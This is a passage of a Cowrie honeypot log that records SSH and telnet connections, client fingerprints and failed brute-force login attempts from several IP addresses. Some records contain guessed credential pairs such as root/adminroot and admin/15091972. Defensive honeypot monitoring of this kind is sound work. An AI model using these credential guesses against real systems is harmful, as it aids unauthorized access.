5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:46.033471Z","src_ip":"177.36.200.182","session":"4c509e5d4616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.882492542266846,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:46.755742Z","src_ip":"174.138.46.234","session":"74c264a55a13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:47.266378Z","src_ip":"177.36.200.182","session":"4c509e5d4616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:48.667162Z","src_ip":"177.36.200.182","session":"4c509e5d4616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.896546363830566,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:48.761232Z","src_ip":"174.138.46.234","session":"e3feb0815302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44052,"dst_ip":"159.203.135.109","dst_port":23,"session":"642fd020c12b","protocol":"telnet","message":"New connection: 174.138.46.234:44052 (159.203.135.109:23) [session: 642fd020c12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:54.929736Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44662,"dst_ip":"159.203.135.109","dst_port":23,"session":"1483244ad4e8","protocol":"telnet","message":"New connection: 174.138.46.234:44662 (159.203.135.109:23) [session: 1483244ad4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:55.943842Z"}
{"eventid":"cowrie.session.closed","duration":4.227560043334961,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:50:59.157180Z","src_ip":"174.138.46.234","session":"642fd020c12b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.156915664672852,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:04.100657Z","src_ip":"174.138.46.234","session":"1483244ad4e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":50992,"dst_ip":"159.203.135.109","dst_port":22,"session":"28c0af4b81c8","protocol":"ssh","message":"New connection: 209.38.20.25:50992 (159.203.135.109:22) [session: 28c0af4b81c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:15.056643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:15.062404Z","src_ip":"209.38.20.25","session":"28c0af4b81c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:15.275310Z","src_ip":"209.38.20.25","session":"28c0af4b81c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"a","message":"login attempt [server/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:16.152018Z","src_ip":"209.38.20.25","session":"28c0af4b81c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:17.366229Z","src_ip":"209.38.20.25","session":"28c0af4b81c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":37771,"dst_ip":"159.203.135.109","dst_port":22,"session":"90d71df5a9d1","protocol":"ssh","message":"New connection: 2.57.121.112:37771 (159.203.135.109:22) [session: 90d71df5a9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:25.827203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:25.832248Z","src_ip":"2.57.121.112","session":"90d71df5a9d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:25.936561Z","src_ip":"2.57.121.112","session":"90d71df5a9d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15091972","message":"login attempt [admin/15091972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:26.427443Z","src_ip":"2.57.121.112","session":"90d71df5a9d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150881","message":"login attempt [admin/150881] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:27.534748Z","src_ip":"2.57.121.112","session":"90d71df5a9d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15081970","message":"login attempt [admin/15081970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:28.642809Z","src_ip":"2.57.121.112","session":"90d71df5a9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.5267117023468,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:29.047112Z","src_ip":"174.138.46.234","session":"2f82459c1d34","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"150791","message":"login attempt [admin/150791] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:29.752229Z","src_ip":"2.57.121.112","session":"90d71df5a9d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15071979","message":"login attempt [admin/15071979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:30.860359Z","src_ip":"2.57.121.112","session":"90d71df5a9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:51:31.967598Z","src_ip":"2.57.121.112","session":"90d71df5a9d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":41802,"dst_ip":"159.203.135.109","dst_port":22,"session":"0987e07c4faa","protocol":"ssh","message":"New connection: 209.38.20.25:41802 (159.203.135.109:22) [session: 0987e07c4faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:07.468544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:07.474407Z","src_ip":"209.38.20.25","session":"0987e07c4faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:07.685933Z","src_ip":"209.38.20.25","session":"0987e07c4faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serverpilot","password":"serverpilot","message":"login attempt [serverpilot/serverpilot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:08.565999Z","src_ip":"209.38.20.25","session":"0987e07c4faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:09.786963Z","src_ip":"209.38.20.25","session":"0987e07c4faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45062,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a6264cac126","protocol":"telnet","message":"New connection: 174.138.46.234:45062 (159.203.135.109:23) [session: 4a6264cac126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:38.358150Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44982,"dst_ip":"159.203.135.109","dst_port":23,"session":"93610242fede","protocol":"telnet","message":"New connection: 174.138.46.234:44982 (159.203.135.109:23) [session: 93610242fede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:39.075128Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45302,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ebb532c5d0f","protocol":"telnet","message":"New connection: 174.138.46.234:45302 (159.203.135.109:23) [session: 3ebb532c5d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:39.158774Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45724,"dst_ip":"159.203.135.109","dst_port":23,"session":"b17c4dc50eed","protocol":"telnet","message":"New connection: 174.138.46.234:45724 (159.203.135.109:23) [session: b17c4dc50eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:40.662802Z"}
{"eventid":"cowrie.session.closed","duration":6.072096109390259,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:44.430126Z","src_ip":"174.138.46.234","session":"4a6264cac126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.8866071701049805,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:45.045286Z","src_ip":"174.138.46.234","session":"3ebb532c5d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.145471096038818,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:45.220468Z","src_ip":"174.138.46.234","session":"93610242fede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.39651083946228,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:52:46.059210Z","src_ip":"174.138.46.234","session":"b17c4dc50eed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":41890,"dst_ip":"159.203.135.109","dst_port":22,"session":"21c01f660986","protocol":"ssh","message":"New connection: 209.38.20.25:41890 (159.203.135.109:22) [session: 21c01f660986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:00.643303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:00.648119Z","src_ip":"209.38.20.25","session":"21c01f660986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:00.859895Z","src_ip":"209.38.20.25","session":"21c01f660986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"Abcd1234","message":"login attempt [developer/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:01.737608Z","src_ip":"209.38.20.25","session":"21c01f660986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:02.951702Z","src_ip":"209.38.20.25","session":"21c01f660986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55842,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc6fee6edc1b","protocol":"telnet","message":"New connection: 174.138.46.234:55842 (159.203.135.109:23) [session: cc6fee6edc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:17.386122Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56178,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca31d69da778","protocol":"telnet","message":"New connection: 174.138.46.234:56178 (159.203.135.109:23) [session: ca31d69da778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:18.696529Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55986,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2034091aaa4","protocol":"telnet","message":"New connection: 174.138.46.234:55986 (159.203.135.109:23) [session: f2034091aaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:18.844213Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56328,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cd4fa533d2d","protocol":"telnet","message":"New connection: 174.138.46.234:56328 (159.203.135.109:23) [session: 5cd4fa533d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:19.323502Z"}
{"eventid":"cowrie.session.closed","duration":3.5088117122650146,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:22.832232Z","src_ip":"174.138.46.234","session":"5cd4fa533d2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.968372583389282,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:23.354346Z","src_ip":"174.138.46.234","session":"cc6fee6edc1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.947628021240234,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:23.791724Z","src_ip":"174.138.46.234","session":"f2034091aaa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.663691759109497,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:25.360129Z","src_ip":"174.138.46.234","session":"ca31d69da778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35310,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c845679e16","protocol":"telnet","message":"New connection: 174.138.46.234:35310 (159.203.135.109:23) [session: 56c845679e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:45.004747Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35560,"dst_ip":"159.203.135.109","dst_port":23,"session":"753eaf72a604","protocol":"telnet","message":"New connection: 174.138.46.234:35560 (159.203.135.109:23) [session: 753eaf72a604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:45.849515Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35572,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6736eb036cc","protocol":"telnet","message":"New connection: 174.138.46.234:35572 (159.203.135.109:23) [session: c6736eb036cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:46.886968Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36286,"dst_ip":"159.203.135.109","dst_port":23,"session":"afc517121a0e","protocol":"telnet","message":"New connection: 174.138.46.234:36286 (159.203.135.109:23) [session: afc517121a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:49.368177Z"}
{"eventid":"cowrie.session.closed","duration":4.935982942581177,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:49.940582Z","src_ip":"174.138.46.234","session":"56c845679e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":36916,"dst_ip":"159.203.135.109","dst_port":22,"session":"f28172122280","protocol":"ssh","message":"New connection: 209.38.20.25:36916 (159.203.135.109:22) [session: f28172122280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:53.678275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:53.683708Z","src_ip":"209.38.20.25","session":"f28172122280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa